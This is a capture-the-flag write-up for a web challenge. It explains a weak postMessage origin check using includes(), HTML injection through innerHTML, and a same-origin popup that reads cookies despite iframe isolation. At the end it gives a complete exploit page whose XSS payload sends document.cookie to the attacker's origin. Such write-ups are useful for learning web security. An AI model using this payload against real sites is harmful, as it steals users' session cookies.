Skip to content

Daily AlpacaHack 2026/05/12 Iframe Sandbox WriteUp

May 17, 2026

#TL;DR

The challenge combines:

  • a weak event.origin validation (includes)
  • HTML injection via innerHTML
  • a same-origin popup to escape cross-site restrictions

By controlling /sandbox through postMessage, we achieve XSS inside the sandboxed iframe. Although cookies are inaccessible directly from a cross-site embedded context, opening a same-origin popup allows us to read document.cookie from the challenge origin.

Flag

Alpaca{4noth3r_sandb0x_An0ther_byp4s5}

#Challenge Overview

The application exposes two pages:

#/sandbox

A page that listens for postMessage from its parent and renders attacker-controlled HTML via innerHTML.

/

A wrapper page that embeds /sandbox inside:

<iframe sandbox="allow-scripts">

At first glance, the sandboxed iframe appears to isolate script execution.


#Vulnerabilities

The /sandbox page accepts messages only if the sender appears to belong to the same hostname:

window.addEventListener("message", (event) => {
  if (
    event.source !== window.parent ||
    !event.origin.includes(location.hostname)
  ) {
    return;
  }

  const data = event.data;
  if (!data || data.type !== "render-html") {
    return;
  }

  app.innerHTML = data.html;
});

The issue lies in:

event.origin.includes(location.hostname)

This is not an origin equality check, we can use an attacker-controlled domain like web.attacker.com to easily bypass the validation.

As long as we host a page on a matching domain, we can embed /sandbox and send arbitrary messages.

But even with XSS, directly reading cookies does not work:

document.cookie

returns nothing useful.

This happens because the iframe is embedded cross-site and constrained by browser isolation rules.

At this point, the challenge seems blocked.


#Exploitation Strategy

The key observation is:

While the embedded iframe is cross-site constrained, a newly opened top-level frame is not.

Instead of reading cookies from the iframe directly, we open a new window pointing to a same-origin page:

const w = open("http://web:3000/sandbox");

After the popup loads, its origin becomes:

http://web:3000

which is the same origin as the challenge.

Since our injected script already runs under /sandbox, it can access:

w.document.cookie

successfully.

We then exfiltrate the cookie back to our server.

But the final flag suggests the exploit may be somewhat unintended, since the challenge seems designed around the iframe sandbox itself.


#Full Exploit

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <title>iframe-sandbox solve</title>
</head>

<body>
  <iframe
    id="f"
    src="http://web:3000/sandbox">
  </iframe>

  <script>
    f.onload = () => {
      setTimeout(() => {
        const payload = `<img src=0 onerror="const w = window.open('http://web:3000/sandbox');setTimeout(() => {location ='${window.origin}/flag/' +encodeURIComponent(w.document.cookie);}, 2000);">`;

        f.contentWindow.postMessage(
          {
            type: 'render-html',
            html: payload
          },
          '*'
        );
      }, 1000);
    };
  </script>
</body>
</html>